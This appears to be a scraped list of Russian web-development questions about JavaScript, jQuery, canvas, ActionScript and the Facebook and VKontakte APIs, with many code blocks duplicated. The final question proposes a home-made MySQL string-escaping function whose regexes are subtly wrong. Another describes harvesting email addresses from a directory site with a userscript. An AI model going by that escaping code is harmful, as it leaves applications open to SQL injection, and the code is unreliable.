<div id="4" class="b-img" onclick="kodimg(id)">...</div>
<div id="5" class="b-img" onclick="kodimg(id)">...</div>
function kodimg(id)
{
document.getElementById(id).className = 'v-img';
}
Как растянуть изображение на канве *без* сглаживания (в webkit)
Надо увеличить изображение в 2, 3, 4 и т.д. раз, причём, чтоб сохранялась пикселизация.
Что пробовал:
1) через css увеличить размер канвы. +) быстро -) есть сглаживание
2) mozImageSmoothingEnabled=false; drawImage(...). +) бысто, без сглаживания -) gecko only
3) getImageData/putImageData и увеличение руками. +) без сглаживания -) очевидно, медленней чем нативные методы.
Использую способ №3, в моём случае (раз-loop-ленные циклы, update по регионам) работает мгновенно.
Но!
В последнее время много говорят о смерти флеша и о безоговорочной победе html5. Так вот, во flash можно выключить сглаживание, а как же великий и могучий html5? Неужели в этом гиганте, убивающем флэш наповал, нельзя сделать такой вот примитив (т.е. чтоб кроссбраузерно)?
p.s. в некоторых местах забыл расставить тэги sarcasm.
Один localStorage на все поддомены. Нельзя, но может всё-таки можно?
Имеется многоязычный проект. Каждому языку соответствует поддомен, а также есть специальные поддомены для статики и особых версий (примерно как на Википедии):
en.example.com<br/>
ru.example.com<br/>
...<br/>
static.example.com<br/>
m.example.com<br/>
fb.example.com<br/>
vk.example.com<br/>
...<br/>
У пользователей во время работы будут накапливаться данные, которые в принципе не нужны на серверной стороне, плюс этих данных может быть больше, чем на 4 KБ, т. е. куки использовать не желательно.
HTML 5 localStorage, казалось бы, подходит идеально, но есть одно большое «но»: данные, сохранённые для одного поддомена, не видны на всех остальных поддоменах согласно спецификации из соображений безопасности.
Не могли бы вы, уважаемые хабровчане, посоветовать, каким образом можно осуществить местное хранение данных в таком случае? Сталкивался ли кто-то ещё с подобной проблемой, успешно решив её? Может быть, стоит каким-либо образом использовать iFrame, хранить localStorage там и «общаться» с ним? Есть ли какие-то другие подходы в решении этой задачи?
en.example.com<br/>
ru.example.com<br/>
...<br/>
static.example.com<br/>
m.example.com<br/>
fb.example.com<br/>
vk.example.com<br/>
...<br/>
Большая нагрузка на браузер при вкл jquery
Добрый день. Подскажите пожалуйста как решить такую проблему. Установил на сайт плагин лупы для изображений. Все подключается и работает, но так как это интернет магазин на одной странице может находиться до 20 картинок и когда наводится мышка на одно из изображений запускается функция для всей страницы. Каким образом можно ее ограничить только одной картинкой? Навел — загрузилась картинка — подключилась функция — убрал мышку — отключилась и так по кругу…
вот какую функция я смог прописать для включения библиотеки:
<script type=\'text/javascript\'>
$(document).ready(function(){
$(\'#zoom1\').hover(function(){
$.getscript(\'js/cloud-zoom.1.0.2.min.js\', function(){
testAjax();
});
})
});
</script>
ссылка на лупу: www.professorcloud.com/mainsite/cloud-zoom.htm
З.Ы. Просто подключить лупу в хэдер как написано в примере не получится, потому что вывод каталога на сайте сделан целиком на аяксе.
$(document).ready(function(){
$(\'#zoom1\').hover(function(){
$.getscript(\'js/cloud-zoom.1.0.2.min.js\', function(){
testAjax();
});
})
});
</script>
Hover-state отдельных областей canvas
Здравствуйте! Возникла проблема реализации hover-state отдельных областей canvas.
Предположим, что на холсте 40х80 два квадрата по 40 пикселов. Понять, какую именно область подсвечивать (при назначении обработчика mousemove) проблем не представляет, проблема в том, чтобы изменять (например, затемнять) область надо лишь 1 раз, и когда указатель покинул нужное пространство возвратить исходный вид области. Прошу прощения, если вопрос глуп — я только осваиваю canvas. Заранее спасибо за советы.
Qooxdoo: создать и запустить source-версию под денвером?
Как правильно создать каркас приложения на Qooxdoo чтобы source-версию приложения можно было запускать через _localhost/app а не _Z:\home\localhost\www\app\index.html?
Скомпилированная Build-версия отлично запускается с вебсервера (denwer). Но нужно запускать именно Source-версию. Мало того что нужен дебаг приложения, так еще и не получается в рабочем режиме отрабатывать ajax, приходится делать через jsonp (чтобы работать с кроссдоменными запросами). То же самое с флешовым построителем графиков: хочет только обращения из домена. Ну и так, по мелочам.
Спасибо.
Произвести модификацию в jQuery UI и получить сжатый вариант?
Некоторое время назад я писал о том, что пишу некий «аналог jQuery Treeview». Благодаря подсказке nikitammf проблему «отпрыгивающего элемента» я поборол.
Но появилась другая проблема. Чтобы описать её, я сначала объясню каким образом плагин jQuery UI Draggable определяет находится ли в данный момент переносимый элемент над droppable-элементом.
В момент начала переноса захваченного элемента вызывается метод $.ui.ddmanager.prepareOffsets(this, event) (строка 152 файла /development-bundle/ui/jquery.ui.draggable.js). Этот метод запоминает в кэше абсолютные координаты всех droppable-элементов. Затем в процессе переноса draggable-элемента, его меняющиеся координаты постоянно сверяются с координатами droppable-элементов из кэша, и когда наступает пересечение координат — плагин опознаёт, что захваченный элемент оказался над тем-то droppable-элементом (т.е. наступает событие «hover»). Кэш координат droppable-элементов всегда рассчитывается только один раз — в момент начала переноса захваченного элемента.
Как это конфликтует с моим кодом? Как я уже писал, в момент наступления события «hover» у меня отсылается запрос на сервер, который возвращает список дочерних элементов, которые вставляются вложенным списком. Поскольку вставляется вложенный список, координаты последующих (лежащих ниже) droppable-элементов при этом меняются, но кэш координат об этом не знает.
В результате если захватить самый первый элемент, задержать над вторым элементом (дождавшись появления вложенного списка) и дальше вести его вниз, то третий и последующий элементы среагируют ещё задолго до того, как перетаскиваемый элемент реально окажется над ними (потому что в кэше координат остались старые координаты и он по-прежнему думает, что все droppable-элементы остались на своих изначальных местах).
Как решить эту проблему, впринципе понятно: пересчитать кэш координат (вызвать метод $.ui.ddmanager.prepareOffsets(this, event)) после вставки дочернего списка.
Но так просто вызвать этот метод не получается: его имя уже изменено в процессе компоновки и минимизации конструктором jQuery UI (я использую не гигантский архив с кучей js-файлов, а собранный конструктором один файл).
Как здесь быть? Как вызвать метод, имя которого уже «обфусцировано»?
Онлайн-пример собственно моей разработки тут.
"Резиновость" элементов js
Есть ли способ определить, что размер какого-либо элемента страницы задан в %? в DOM как я понимаю, хранятся уже вычисленные значения, автоматически пересчитываемые при ресайзе.
Можно поставить вопрос иначе: можно ли каким либо образом изменять такие автоматически вычисленные размеры без потери «резиновости»?
Плавная анимация 30-100 объектов на ActionScript 3
Хочу сделать для своей Flash игры анимацию воздушными шариками которые пролетают через экран при успешном прохождении уровня.
Но не получается сделать это плавно и что бы еще и процессор не отжирало сильно.
Шарики у меня это муви клипы, которым я рандомно изменяю размер в большую и меньшую сторону, что бы создать впечатление «разных» шариков. Движение шариков делаю с использованием библиотеки TweenMax.
Но результат меня удручает своим качеством.
вот кусок кода который я использую:
public static function randomScale(shape: DisplayObject, ll: Number, ul: Number): void
{
var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
if (sc != 1)
{
shape.scaleX = sc;
shape.scaleY = sc;
}
}
/**
* Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
*
* @param parent - родительский контейнер внутри которого будут летать объекты.
* @param duration - длительность анимации.
* @param delayMax - максимальная задержка перед анимацией.
* @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
* @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
* @param callback - функция вызываемая по окончанию анимации.
*/
public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
duration: Number, delayMax: Number,
deltaX: uint,
scale: Boolean = false,
callback: Function = null): void
{
// получаем габариты родительского контейнера
var w: uint = parent.width;
var h: uint = parent.height;
var cnt: uint = shapes.length;
// запускаем объекты один за одним
for each (var shape: MovieClip in shapes)
{
// случайное положение объекта
shape.x = Math.round(Math.random() * w);
shape.y = h + 5; // исходно объекты находятся внизу
shape.visible = false;
// изменение масштаба объекта в небольшм диапазоне
if (scale)
{
randomScale(shape, 0.7, 1.5);
}
parent.addChild(shape);
// запускаем анимацию полета
TweenMax.to(shape, duration, // длительность анимации
{delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
y: -150, // объекты улетают за границу экрана
ease: Linear.easeIn, // объекты летят с линейной скоростью
visible: false, // в конце они становятся невидимыми
onInit: showShape,
onInitParams: [shape],
onComplete: removeShape, // метод для зачистки по окончании анимации
onCompleteParams: [shape]
});
}
function showShape(child: MovieClip): void
{
child.visible = true;
}
/** Зачистка по окончании анимации */
function removeShape(child: MovieClip): void
{
// удаляем объекты из контейнера по окончанию анимации
parent.removeChild(child);
}
}
}
{
var sc: Number = 1 + Math.random() * ((Math.random() < 0.5) ? 1 : -1);
sc = ((sc < ll) || (sc > ul)) ? 1 : sc;
if (sc != 1)
{
shape.scaleX = sc;
shape.scaleY = sc;
}
}
/**
* Произвести запуск объектов в полет от низа контейнера к верху, можно использовать для оформления прохождения уровня.
*
* @param parent - родительский контейнер внутри которого будут летать объекты.
* @param duration - длительность анимации.
* @param delayMax - максимальная задержка перед анимацией.
* @param deltaX - максимальное отклонение по координате X в лево или право, для придания естественности поведения.
* @param scale - применять изменение масштаба объектов в диапазоне от 0.7 до 1.5.
* @param callback - функция вызываемая по окончанию анимации.
*/
public static function fly(parent: DisplayObjectContainer, shapes: Vector.,
duration: Number, delayMax: Number,
deltaX: uint,
scale: Boolean = false,
callback: Function = null): void
{
// получаем габариты родительского контейнера
var w: uint = parent.width;
var h: uint = parent.height;
var cnt: uint = shapes.length;
// запускаем объекты один за одним
for each (var shape: MovieClip in shapes)
{
// случайное положение объекта
shape.x = Math.round(Math.random() * w);
shape.y = h + 5; // исходно объекты находятся внизу
shape.visible = false;
// изменение масштаба объекта в небольшм диапазоне
if (scale)
{
randomScale(shape, 0.7, 1.5);
}
parent.addChild(shape);
// запускаем анимацию полета
TweenMax.to(shape, duration, // длительность анимации
{delay: delayMax * Math.random(), // произвольная задержка 0...delayMax секунды, что бы выглядело естественно
x: shape.x + (Math.round(Math.random() * deltaX * 2) - deltaX), // точка назначения отличается ± deltaX от исходной
y: -150, // объекты улетают за границу экрана
ease: Linear.easeIn, // объекты летят с линейной скоростью
visible: false, // в конце они становятся невидимыми
onInit: showShape,
onInitParams: [shape],
onComplete: removeShape, // метод для зачистки по окончании анимации
onCompleteParams: [shape]
});
}
function showShape(child: MovieClip): void
{
child.visible = true;
}
/** Зачистка по окончании анимации */
function removeShape(child: MovieClip): void
{
// удаляем объекты из контейнера по окончанию анимации
parent.removeChild(child);
}
}
}
Есть ли аналог JavaScript под WAP?
Нужно сделать таймер обратного отсчета, но насколько я понимаю, Javascript не шибко поддерживается протоколом WAP. В википедии нашел абзац, где сказано что есть аналог javascript под WAP. Подскажите, куда копать, пожалуйста.
Непонятное поведение Javascript в простых ситуациях. Растолкуйте
Мне конечно после C++ сложно бывает находить подобные ошибки в коде. Но все таки: чем объясняется подобное поведение JS?
Пример первый. В обоих случаях ожидалось true:
var flag = true;
flag &= true;
alert(flag);//говорит "1"
var flag = true;
flag = flag && true;
alert(flag);//говорит "true"
Примет второй. Сравнение на «равенство» двух объектов-дат всегда возвращает false. При этом <= и < возвращают разные значения. Непонятно.
alert(new Date == new Date);//говорит "false"
alert(new Date <= new Date);//говорит "true"
alert(new Date >= new Date);//говорит "true"
alert(new Date < new Date);//говорит "false"
alert(new Date > new Date);//говорит "false"
flag &= true;
alert(flag);//говорит "1"
var flag = true;
flag = flag && true;
alert(flag);//говорит "true"
alert(new Date <= new Date);//говорит "true"
alert(new Date >= new Date);//говорит "true"
alert(new Date < new Date);//говорит "false"
alert(new Date > new Date);//говорит "false"
3d в as 3
Поделитесь наиболее качественными материалами по разработке трех-мерных интерфейсов на Actionscript 3, можно ли в коде использовать координату z, или для этого обязательно использовать какой то «3д двигатель» ) спасибо
Как автоматически вытащить и модифицировать ссылку на изображение из исходного кода страницы?
Подскажите, пожалуйста, как вытащить и модифицировать ссылку на изображение из исходного кода страницы? Желательно через userscript для оперы.
Цель: фото товаров, например — direct.asda.com/george/shoes/ladies-shoes/boots/fa...
В коде можно обнаружить прямую ссылку на изображение — http://asda.scene7.com/is/image/Asda/5052341219998...
Если изменить параметр ?hei=400 на ?hei=2000 то картинка отдается в максимальном размере, пример — http://asda.scene7.com/is/image/Asda/5052341219998...
Внимание, знатоки, вопрос :)
Как это дело автоматизировать через userjs для оперы, чтобы, например, рядом с фото товара появлялась ссылка, которая вела бы на картинку максимального размера, дабы её удобно было сохранить?
Всем заранее спасибо!
Facebook API friends.get?
Добрый вечер.
Проблема с апи фейсбука, и с функцией friends.get (uid ). В момент авторизации через ФБ на моем сайте запрашиваются расширенные права
FB.login(handleSessionResponse, {<br/>
// <a href="http://developers.facebook.com/docs/authentication/permissions">developers.facebook.com/docs/authentication/permissions</a><br/>
perms: [<br/>
'offline_access',<br/>
'user_about_me',<br/>
'friends_about_me',<br/>
'friends_interests',<br/>
'user_interests',<br/>
'friends_location',<br/>
'user_location',<br/>
'friends_online_presence',<br/>
'user_online_presence',<br/>
'email, read_stream, publish_stream, offline_access, status_update, photo_upload, create_event, rsvp_event, sms, video_upload, create_note, share_item'<br/>
].join(',')<br/>
});
И вроде бы, пользователь дает доступ к своим друзьям в офлайн режиме. Он отображается в friends.appUsers.
Но фигня вот в чем.
FB.api({ method: 'friends.get', uid: 'айди пользователя, предоставившего все права моему сайту' }, function(result) {<br/>
console.log(result)<br/>
})<br/>
Resukt выдает ошибку №240 — Requires a valid user is specified (either via the session or via the API parameter for specifying the user.
Но как так, если все полномочия пользователь сам дал, а айди задан верно? Причем это не работает не только на моем сайте, но и через тестовую консоль ФБ (где параметры в формочки вводить надо:)).
Будут какие-либо идеи?
PS Работать это должно примерно так: Пользователь П1 дает права на доступ к своим друзьям. Потом на сайт захожу я, и даю доступ к своим друзьям. Если П1 есть в моем списке друзей, то я хочу вывести список его друзей (он же дал права на офлайн доступ к его друзьям)
FB.login(handleSessionResponse, {<br/>
// <a href="http://developers.facebook.com/docs/authentication/permissions">developers.facebook.com/docs/authentication/permissions</a><br/>
perms: [<br/>
'offline_access',<br/>
'user_about_me',<br/>
'friends_about_me',<br/>
'friends_interests',<br/>
'user_interests',<br/>
'friends_location',<br/>
'user_location',<br/>
'friends_online_presence',<br/>
'user_online_presence',<br/>
'email, read_stream, publish_stream, offline_access, status_update, photo_upload, create_event, rsvp_event, sms, video_upload, create_note, share_item'<br/>
].join(',')<br/>
});FB.api({ method: 'friends.get', uid: 'айди пользователя, предоставившего все права моему сайту' }, function(result) {<br/>
console.log(result)<br/>
})<br/>
Способ присваивания переменным дефолтных значений?
Часто бывает так, что каким-либо переменным надо присвоить значение по-умолчанию, если не дано иного. Примерами могут быть необязательные аргументы функций, данные из localStorage и т. п. Есть разные способы, позволяющие это сделать, но сводятся они к одному смыслу:
проверить, присвоено ли какое-то значение / если да, то выполнять следующую задачу / если нет, то назначить дефолтное значение и выполнять следующую задачу.
Пара возможных примеров кода:
// 1-й вариант<br/>
if (!argument) argument = 'value';<br/>
<br/>
// 2-й вариант<br/>
argument = argument || 'value';
Вопрос в следующем — какой из приведенных вариантов является оптимальным? Какой из них лучше использовать?
// 1-й вариант<br/>
if (!argument) argument = 'value';<br/>
<br/>
// 2-й вариант<br/>
argument = argument || 'value';
Ресайз панелей google docs
В интерфейсе google docs (в ff и google chrome) на экране навигации по документам, если увеличить левую панель, передвинув хэндлер (синий блок между панелью папок и документов) более чем на половину экрана — не удается восстановить прежние габариты панелей в состояние по-умолчанию.
Кто сталкивался или встречал решение?
381   2   15:12, 19th August, 2020
Как работает навигация по письмам в Gmail?
В web-интерфейсе Gmail навигация по письмам сделана следующим образом:
Изначально мы на странице «Входящие»
https://mail.google.com/mail/?hl=ru&shva=1#inbox
Нажимаем на письмо и попадаем на
https://mail.google.com/mail/?hl=ru&shva=1#inbox/12c4911509040a02
При этом открывается само письмо.
Как видно, мы работаем через «решетку» #, поэтому перезагрузки страницы не происходт, вместо этого происходит переход «по якорю». Тем не менее, URL меняется, и браузер делает переход без отправки запроса на сервер, в результате чего мгновенно открывается текст письма (который уже где-то хранился в DOM и посредством JS выводится пользователю), и становится доступной кнопка «Назад» в браузере, что очевидно. Если ее нажать, мы возвращаемся к списку писем, текст письма при этом скрывается, конечно же без перезагрузки страницы, и это очень быстро работает.
Вопрос: Как это работает? Конкретно, после нажатия «Назад». Ведь мы работаем на одной странице, нужно как-то закрыть открытое письмо. Как работает этот механизм? Какое события обрабатывается? Надеюсь, суть вопроса ясна.
Обновление JavaScript скрипта на клиенте
Как правильно организовать подключение JS на сайте клиента, чтобы потом в любой момент скрипт JS можно было обновить и он подхватился всеми клиентами, т.е. сбросилось бы кеширование браузером? JS, например, код подключения какого то виджета.
Нужно для того, чтобы при каждом обновлении скрипта не просить клиентов обновить его код подключения на своих сайтах.
отладка UserJS (Greasemonkey)
подскажите пожалуйста, чем можно отлаживать greasemonkey-скрипты в firefox?
крайне желательно наличие breakpoints, watches
История посещений в Javascript
Можно ли как-нибудь управлять историей посещений (кроме перехода вперед-назад) в Javascript хотя бы в одном из распространенных браузеров? Или можно как-нибудь отслеживать нажатия на кнопки вперед-назад и не давать переходить по ним?
Интересует для веб-приложения, активно использующего ajax.
Логическое отрицание результата выполнения анонимной функции
В сорцах facebook был найден образец нижеизложенного кода. Подскажите, пожалуйста, назначение и смысл использования подобного приёма:
!function(){
…
}();
Оригинал:
!function(){
var c = document.documentElement;
var b = 'child_focused';
var d = 'DOMControl_placeholder';
var a = function(e){
e = e || window.event;
var f = e.target || e.srcElement, h = f.getAttribute('placeholder');
if (h) {
var g = Parent.byClass(f, 'focus_target');
if ('focus' == e.type || 'focusin' == e.type) {
if (f.value == h) {
f.value = '';
CSS.removeClass(f, d);
g && CSS.addClass(g, b);
}
}
else
if (f.value == '') {
CSS.addClass(f, d);
f.value = h;
g && CSS.removeClass(g, b);
}
}
};
c.onfocusin = c.onfocusout = a;
if (c.addEventListener) {
c.addEventListener('focus', a, true);
c.addEventListener('blur', a, true);
}
}();
Спасибо!
…
}();
var c = document.documentElement;
var b = 'child_focused';
var d = 'DOMControl_placeholder';
var a = function(e){
e = e || window.event;
var f = e.target || e.srcElement, h = f.getAttribute('placeholder');
if (h) {
var g = Parent.byClass(f, 'focus_target');
if ('focus' == e.type || 'focusin' == e.type) {
if (f.value == h) {
f.value = '';
CSS.removeClass(f, d);
g && CSS.addClass(g, b);
}
}
else
if (f.value == '') {
CSS.addClass(f, d);
f.value = h;
g && CSS.removeClass(g, b);
}
}
};
c.onfocusin = c.onfocusout = a;
if (c.addEventListener) {
c.addEventListener('focus', a, true);
c.addEventListener('blur', a, true);
}
}();
быстрые манипуляции со строками таблицы
Есть таблица на 5к строк. И необходимость скрывать/показывать выборки из 1к её строк. Обычный вариант $(#table .need_hide).hide() работает очень долго. Минуты в зависимости от браузера. Есть варианты сделать-таки это средствами js или переносить на сервер только?
Загрузка своего Javascript в контент iFrame
Здравствуйте, подскажите пожалуйста, есть iFrame на странице, необходимо сделать так, чтобы в этот iFrame был включен мой javascript код ( в body)
например
<\iframe src="http://apple.com">
где на сайте apple.com открытом в iframe необходимо в тег Body добавить, например:
<script src="http://code.jquery.com/jquery-1.4.4.js"></script>
Пытался использовать метод Jquery.contents(), не получилось, подскажите, как решить проблему?
Как протестировать pda версию сайта?
Для того, чтобы понять как будет выглядеть переделанный сайт на мобильных устройствах, нужно иметь возможность сделать полное тестирование.
Т.е. посмотреть сайт на компьютере в том виде, в котором он будет на мобильном устройстве. И еще крайне желательно, чтобы действовали pda ограничения javascript. В частности интересует ajax в формах, будет ли работать также.
Есть ли какая-нибудь софтинка, подходящая для этих целей?
Клонирование элементов HTML5 в IE 6-8. Кто придумает как обойти баг?
Приятного времени суток.
Обнаружил своеобразный баг.
После добавления
<!--[if lt IE 9]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
HTML5 элементы в IE 6-8 отображаются нормально.
Но если клонировать узел с HTML5 элементами c помощью .cloneNode(true) или jQuery .clone(true), то все HTML5 элементы будут потеряны.
Как показывает .innerHTML клонированного узла, превращается в <:nav></:nav>.
Если почистить innerHTML с помощью регулярного выражения… элементы просто исчезают без следа.
Есть ли идеи, как можно обойти этот баг, не создавая поэлементно достаточно сложную иерархию узлов?
С уважением и надеждой на ответ.
<!--[if lt IE 9]>
<script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
Проблема с click event в ajax
есть код
$(document).ready(function(){
$('.banner_stat').bind( 'click',
function(event){
$.get("index.phtml", { banner:$(this).attr("id")});
});
});
этот код должен срабатывать при клике на элементе(в моем случае это div). В мазиле опере все работает нормально вне зависимости от содержимого дива… в хроме и ie не работает когда внутри дива есть embed. Можно ли исправить это?
$('.banner_stat').bind( 'click',
function(event){
$.get("index.phtml", { banner:$(this).attr("id")});
});
});
Что почитать по JavaScript?
Посоветуйте толковые книги/мануалы по JS.
Есть ли по JS какой-нить общепринятый справочник, возможно в формате chm?
Чат для клиентов?
Нужен чат по такой схеме: клиент на сайте заходит в чат, где ему открывается отдельная чат-комната с сотрудником фирмы.
Сотрудник должен иметь возможность переписываться с несколькими клиентами одновременно.
Нашел только AliveChat, но он довольно дорогой — лайт версия $30 в месяц.
Может, кто встречал решения, платные тоже интересуют.
Просто чатов на AJAX видел кучу, они не подходят — мне нужен не групповой, а индивидуальный.
Материалы по современному Javascript?
Пришла пора мне взяться за client-side скриптинг, но с Javascript я знаком поверхностно. В связи с этим нужны следующие материалы:
- Часто используемые библиотеки (если есть что-то вроде перловского CPAN — вообще замечательно)
- Справочник по языку
- Примеры кода — чтобы понять, как сейчас на нем пишут
- Применение AJAX
- Ну и напоследок вопрос: кроссбраузерный скриптинг до сих пор является проблемой, или она успешно решена?
Существует ли open-source скрипт похожий на min.us?
Где можно скачать скрипт типа того, на котором работает сайт min.us/? Хочу установить на свой домен.
Отправка логов с клиента на сервер
Есть клиентская часть(upd: живет в норм браузере (ff,gc,sf,op)) некоего web-application`а, которая очень активно логгирует свои действия (на данный момент лог собирается в textarea'ю; не знаю лучший ли вариант, может еще и здесь что нибудь подскажут).
Хочется иметь эти логи на сервере. Так как лог большой, то было бы неплохо заархивировать все это дело и отправить на сервер.
возможно ли это? если да — то как? Может есть где-нибудь пример, или ссылка на док…
Thanks in advance!
upd:
$("textarea_with_log").value += new_log_string;
клиент «знает» когда нужно остановить логгирование и инициировать процессинг лога. Проблемы с завершением/выключением клиентской части/браузера «можно считать» что нет
Вконтакте API сервер-сервер
Как известно, у Вконтакте есть несколько способов работы с API:
- через JS со стороннего сайта или из встроенного приложения
- на ActionScript для приложений
- и Desktop-приложения
Для того, чтобы организовать работу с сервисом в то время, когда пользователь не находится на сайте способа я не нашёл, иначе говоря, нет возможности совершать запросы к API сервер-сервер (за исключением нескольких специфичных функций).
В один момент показалось, что можно замаскировать сервер под desktop-приложение, но и там ложка дёгтя, после перехода на сайт Вконтакте для авторизации, он не в состоянии передать никаких данных нашему серверу.
Итак, вопрос. Можно ли как-то организовать взаимлдействие с API вконтакте в режиме сервер-сервер?
Задержка в ActionScript 3 без таймера?
Задача: необходимо реализовать задержку в N секунд в ActionScript 3
Проблема: в этот момент меняется системное время (сдвигается на несколько часов назад или вперед) и таймер не вызывает эвент в нужное время.
Как реализовать?
Как проще сделать онлайн-конструктор товара для интернет-магазина?
Готовлю к запуску интернет-магазин, и хочется в него встроить онлайн-конструктор товара на подобии этого. Есть ли уже готовые решения, флеш-исходники или скрипты, которые легко было бы редактировать человеку, не знающему флеш и ActionScript?
Парсинг, Jquery, Userscript
Благодаря этой статье познакомился с написанием userscripts на jquery. Сделал два работающий скрипта по вытягиванию нужных мне имейлов, а на третьем примере почему-то не работает.
Страница для парсинга: www.gapa.de/_gastgeberliste/ (Выбрать любой Unterkunftsart и нажать на кнопку Finden)
Скрипт: efrolov.ru/gapa/gapa.user.js
Задача: Вытянуть имейлы с каждой страницы.
Проблема: Jquery не может обратиться к классу. То есть так могу добавить $("#footer").append(' hello!');,
а вот так уже не работает: $(".ukresultheader").append(' hello!');
Кто-нибудь может подсказать почему не работает?
Редактор с подсветкой для JSON
Подскажите какой-нибудь редактор, в котором удобно просматривать JSON.
Под «удобно» я имею в виду:
1) Автоматическая разбивка и отображение в виде иерархии (даже если я открыл файл, где все записано в одну строку).
2) Подсветка (хотя бы минимальная, скобочки там).
Есть плагин для Лисы, но хотел бы использовать standalone решение или хотя бы web-тулзу.
jQuery UI Dialog, как повесить событие на нажатие ссылки внутри него?
Сейчас код выглядит так:
<div id="address-wrapper">
<a id="address-select" href="#" title="Нажми">Нажми</a>
</div>
<div id="dialog-form" title="Выберите ваш город">
<label for="search">Поиск</label>
<input type="text" name="search" id="search" class="text ui-widget-content ui-corner-all" />
<input type="button" name="post" id="search-button" value="Поиск" />
<br /><br />
<div id="results"></div>
</div>
<script type="text/javascript">
function searchSubmit() {
$.ajax({ type: "POST",
url: "gni_ajax.asp",
data: "query=" + $("#search").val(),
success: function(data){
$("#results").empty();
$("#results").append(data);
return false;}
});
};
$('#search').keypress(function(event) {
if (event.keyCode == '13') {
searchSubmit();
}
});
$("#search-button").click(function () { searchSubmit(); });
$("#dialog-form").dialog({
autoOpen: false,
height: 400,
width: 400,
modal: true,
buttons: {
"Отмена": function() {
$( this ).dialog("close");
}
},
close: function() {
alert("i'm closing!");
}
});
$("#address-select").click(function() {
$( "#dialog-form" ).dialog( "open" );
});
$(".addr").click(function() {
alert($(this).text());
alert(this.id);
$("#dialog-form").dialog("close");
});
</script>
Надо было мне, чтобы при нажатии на одну из ссылок, возвращенных аяксом (разные числовые id и тексты, один класс .addr, ее текст и значения вставлялись в input. Но добиться этого я не смог. Решил хотя бы посмотреть, что выдаст alert. Но он и того не показал, никакой реакции на нажатие нет. Если вешаю событие на нажатие address-select, то все срабатывает хорошо. Но эти ссылки, внутри диалога которые — не работают. Не то, что алерт, но и сам диалог не закрывается. Даже если указать не ".addr", а просто «a» Проверял в firebug, элементы создаются нормально:
<a href="#" id="7700000000000" class="addr">Москва г</a>
Что с этим делать? Ведь должно работать же!
<div id="address-wrapper">
<a id="address-select" href="#" title="Нажми">Нажми</a>
</div>
<div id="dialog-form" title="Выберите ваш город">
<label for="search">Поиск</label>
<input type="text" name="search" id="search" class="text ui-widget-content ui-corner-all" />
<input type="button" name="post" id="search-button" value="Поиск" />
<br /><br />
<div id="results"></div>
</div>
<script type="text/javascript">
function searchSubmit() {
$.ajax({ type: "POST",
url: "gni_ajax.asp",
data: "query=" + $("#search").val(),
success: function(data){
$("#results").empty();
$("#results").append(data);
return false;}
});
};
$('#search').keypress(function(event) {
if (event.keyCode == '13') {
searchSubmit();
}
});
$("#search-button").click(function () { searchSubmit(); });
$("#dialog-form").dialog({
autoOpen: false,
height: 400,
width: 400,
modal: true,
buttons: {
"Отмена": function() {
$( this ).dialog("close");
}
},
close: function() {
alert("i'm closing!");
}
});
$("#address-select").click(function() {
$( "#dialog-form" ).dialog( "open" );
});
$(".addr").click(function() {
alert($(this).text());
alert(this.id);
$("#dialog-form").dialog("close");
});
</script>
<a href="#" id="7700000000000" class="addr">Москва г</a>
Имитировать аплоад файла на сервер из JS?
Здравствуйте!
Моя цель — составить в JS и отправить POST-запрос к серверу, зааплоадив файл, содержимое которого будет взять не с диска юзера, а сгенерировано в JS.
Не совсем понимаю, что для этого стоит использовать — xmlhttprequest или есть что-то более высокоуровневое?
P.S. Конкретная цель — зааплодить через API ВКонтакта изображение, созданное на canvas.
Actionscript компилятор MTASC и Event'ы
В actionscript я не силён, прошу по возможности помочь.
Как заставить работать в скомпиленых приложениях какие-нибуть netEvent, пример от макромедиа в моём случае почуму-то не работает:
var nc:NetConnection = new NetConnection();
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject:Object) {
for (var propName:String in infoObject) {
trace(propName + " = " + infoObject[propName]);
}
};
ns.play("http://www.helpexamples.com/flash/video/water.flv");
Ни один из ивентов не срабатывает, должно возвращать метаинфу но ничего не возвращает.
nc.connect(null);
var ns:NetStream = new NetStream(nc);
ns.onMetaData = function(infoObject:Object) {
for (var propName:String in infoObject) {
trace(propName + " = " + infoObject[propName]);
}
};
ns.play("http://www.helpexamples.com/flash/video/water.flv");
Какие "заготовки" вы используете при вёрстке нового проекта?
Надоело верстать с нуля, знаю что многие используют различные заготовки вроде oocss, html5 boilerplate, однако кроме этих двух я больше ничего не знаю.
Посмотрел oocss и понял что из его функционала ничего не нужно, а идея не так и интересна.
html5bloilerplate сломан, половина всего не работает, что-то работает не так, что-то даже в хроме не работает.
Может есть что-то ещё?
Изменить текст кнопки action script 2
Имеется Adobe Flash Pro CS5. Есть кнопка butt7 как изменить текст на кнопке(label)?
butt7.text = "ТЕКСТ НА КНОПКЕ";
не работает
mysql_real_escape_string vs mysql_escape_string
Согласно документации, стоит использовать только функцию mysql_real_escape_string.
Насколько я понимаю, это связано в основном с применением юникода и действительно оправдано.
Вопрос: насколько часто ошибается mysql_escape_string и можно ли в языках с нативной поддержкой юникода пользовать своей реализацией вроде:
/**
* Escape string for mysql. Don't use native function,
* because it doesn't work without connect.
*/
exports.escapeStr = function(str) {
return str.replace(/[\\"']/g, "\\$&").replace(/[\n]/g, "\\n")
.replace(/[\r]/g, "\\r").replace(/\x00/g, "\\0");
};
UPD: Вышеприведённый код не полный, в нём присутствуют не все символы, которые нужно экранировать. Давайте будем исходить из того, что replace для \b, \t, \Z, _, % также присутствуют:
exports.escapeStr = function(str) {
return str.replace(/[\\"']/g, "\\$&").replace(/\n/g, "\\n")
.replace(/\r/g, "\\r").replace(/\x00/g, "\\0")
.replace(/\b/g, "\\b").replace(/\t/g, "\\t")
.replace(/\x32/g, "\\Z") // \Z == ASCII 26
.replace(/_/g, "\\_").replace(/%/g, "\\%");
};
/**
* Escape string for mysql. Don't use native function,
* because it doesn't work without connect.
*/
